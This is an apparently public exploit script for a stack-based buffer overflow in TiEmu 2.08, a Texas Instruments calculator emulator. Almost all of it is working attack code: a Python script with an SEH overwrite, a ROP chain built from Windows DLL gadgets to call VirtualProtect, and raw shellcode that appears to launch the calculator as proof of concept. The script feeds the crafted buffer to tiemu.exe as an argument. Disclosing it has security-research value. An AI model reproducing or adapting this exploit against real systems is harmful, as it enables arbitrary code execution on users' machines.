TiEmu 2.08 Buffer Overflow

`#!/usr/bin/python  
# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team -  
http://www.kpn.com  
# Developed using Exploit Pack - http://exploitpack.com -  
<[email protected]>  
# Tested on: Windows 7 32 bits  
#  
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is  
# prone to a stack-based buffer overflow vulnerability because the  
application fails to perform adequate  
# boundary-checks on user-supplied input.  
#  
# What is TiEmu?  
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 /  
TI92+ / V200PLT hand-helds.  
#  
# An attacker could exploit this vulnerability to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Vendor homepage: http://lpg.ticalc.org/prj_tiemu/  
  
import struct, subprocess, os  
file = "C:/Program Files/TiEmu/bin/tiemu.exe"  
junk = "A" * 452  
nseh = struct.pack('L', 0x06eb9090)  
seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret -  
libtifiles2-5.dll  
  
def create_rop_chain():  
rop_gadgets = [  
0x75ecd264, # POP ECX # RETN [SHELL32.DLL]  
0x711e1388, # ptr to &VirtualProtect() [IAT COMCTL32.DLL]  
0x7549fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]  
0x628daecc, # POP EBP # RETN [tcl84.dll]  
0x76c319b8, # & push esp # ret [kernel32.dll]  
0x7606c311, # POP EAX # RETN [SHELL32.DLL]  
0xfffffdff, # Value to negate, will become 0x00000201  
0x75de6a90, # NEG EAX # RETN [SHLWAPI.dll]  
0x76c389d9, # XCHG EAX,EBX # RETN [kernel32.dll]  
0x754f3b2f, # POP EAX # RETN [MSCTF.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x76b13193, # NEG EAX # RETN [USER32.dll]  
0x76c38a09, # XCHG EAX,EDX # RETN [kernel32.dll]  
0x757dfbf7, # POP ECX # RETN [ole32.dll]  
0x71256c9b, # &Writable location [COMCTL32.DLL]  
0x77048567, # POP EDI # RETN [RPCRT4.dll]  
0x757e65e2, # RETN (ROP NOP) [ole32.dll]  
0x76cd6ee4, # POP EAX # RETN [kernel32.dll]  
0x90909090, # nop  
0x76ac6d21, # PUSHAD # RETN [OLEAUT32.dll]  
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
rop_chain = create_rop_chain()  
  
shellcode = "\x90"*6  
shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"  
shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"  
shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"  
shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"  
shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"  
shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"  
shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"  
shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"  
shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"  
shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"  
shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"  
shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"  
shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"  
shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"  
  
junk2 = "A" * 2000  
  
buffer = junk + nseh + seh + rop_chain + shellcode + junk2  
  
try:  
print(buffer)  
subprocess.call([file, buffer])  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "TiEmu not found!"  
else:  
print "Error executing exploit"  
raise  
`